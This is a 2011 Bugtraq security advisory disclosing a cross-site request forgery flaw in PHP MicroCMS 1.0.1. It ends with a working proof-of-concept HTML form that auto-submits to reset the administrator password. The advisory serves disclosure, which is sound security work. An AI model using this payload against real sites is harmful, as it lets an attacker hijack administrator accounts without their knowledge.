Bugtraq mailing list archives

XSRF (CSRF) in PHP MicroCMS


From: advisory () htbridge ch
Date: Thu, 6 Jan 2011 19:15:25 +0100 (CET)

Vulnerability ID: HTB22765
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_php_microcms.html
Product: PHP MicroCMS
Vendor: ApPHP ( http://www.apphp.com/ ) 
Vulnerable Version: 1.0.1 and probably prior versions
Vendor Notification: 21 December 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "index.php?admin=my_account" script to properly verify the source of 
HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based 
authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability and change administrator password. The following PoC is 
available:

<form action="http://host/index.php?admin=my_account"; method="post">
<input type="hidden" name="password_one" value="newpass">
<input type="hidden" name="password_two" value="newpass">
<input type="submit" id="btn" name="submit" value="Change Password">
</form>
<script>
document.getElementById('btn').click();
</script>




Current thread: